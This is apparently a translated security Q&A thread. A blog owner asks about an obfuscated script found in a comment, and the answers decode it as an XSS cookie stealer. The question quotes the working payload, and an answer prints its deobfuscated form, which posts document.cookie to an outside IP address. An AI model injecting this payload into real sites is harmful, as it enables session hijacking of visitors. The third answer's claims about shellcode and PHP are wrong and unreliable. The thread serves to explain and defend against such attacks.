我在博客的评论中发现了混淆代码。我该怎么办?

信息安全 开发 javascript xss 混淆
2021-08-24 15:02:12

今天在我的博客上查看评论,我发现一个奇怪的评论,这里是确切的文字

<script>var _0x352a=["\x31\x31\x34\x2E\x34\x35\x2E\x32\x31\x37\x2E\x33\x33\x2F\x76\x6C\x6B\x2E\x70\x68\x70","\x63\x6F\x6F\x6B\x69\x65","\x68\x74\x6D\x6C","\x70\x6F\x73\x74"];$[_0x352a[3]](_0x352a[0],{cookie:document[_0x352a[1]]},function (){} ,_0x352a[2]);</script>

这是什么意思?这是一个错误吗?

请注意,去年夏天我遇到了很大的 XSS 问题,但安全专家修复了它。今天我联系了他,他说没关系,我不用担心。但我很担心。

3个回答

首先,你的保安很可能是对的。看起来您没有什么可担心的,因为从您对问题的描述和该人的回应来看,我认为脚本标签已正确编码。把它想象成一种中和武器。它在那里,是的,但它不会造成任何损害。

通过反混淆器运行该代码给了我们

$["post"]("114.45.217.33/vlk.php",{cookie:document["cookie"]},function(){},"html")

现在我们只是“美化”代码以使其更具可读性

$["post"]("114.45.217.33/vlk.php", {
    cookie: document["cookie"]
}, function () {}, "html")

如您所见,攻击者希望您的网站容易受到 XSS 攻击,从而利用它窃取访问者的 cookie,包括您的。他还假设/希望您正在使用 jQuery,而如今这实际上是一个非常合理的假设。如果他们设法窃取您的 cookie,那么他们将获得会话标识符并可能以您的用户之一甚至您的管理员帐户身份登录。

不过,我不确定他为什么将回调函数或响应类型留在那里。移除它们会使有效载荷变得更小。

通过黑名单检查工具运行该 IP 地址向我们展示了那里的主机可能已被入侵。这肯定看起来像是一个机器人的随机攻击,它试图将该代码插入随机博客和网站,希望其中一个容易受到攻击。

在此处输入图像描述

除了阿德南的回答:

这是攻击者对您的应用程序进行模糊测试时的副产品(他只是发送大量有效负载以查看其中一个是否有效)。如果您的应用程序正确处理用户输入的编码和转义,则无需担心易受攻击。

您可以采取一些对策来减少这些攻击,例如使用 Web 应用程序防火墙或入侵检测系统。这些应该会自动阻止对您的应用程序进行模糊测试的人。在允许发布之前(或者如果检测到大量连续发布),您还可能需要一种形式的现实检查,例如验证码或挑战。这也减少了这种类型的污染。

这是我能理解的。

它以十六进制编码。真正的价值在 ascii 中。

\x 表示它被用作 shellcode 。恶意用户试图发送十六进制编码的 unicode 值作为包装在 php 函数中的注释,以与您的服务器交互并破坏它。

看起来他失败了,因为它被检测为评论而没有破坏您博客上的任何内容。但这也意味着您在博客中使用的任何组件都可能存在漏洞。好的是检查 NVD 或 Cvedetails.com 网站,看看您在博客中使用的组件中是否有一些新错误。

此外,攻击者很可能是个小偷,他只是攻击了您的博客,因为它看到它是相同的软件(不是版本;))。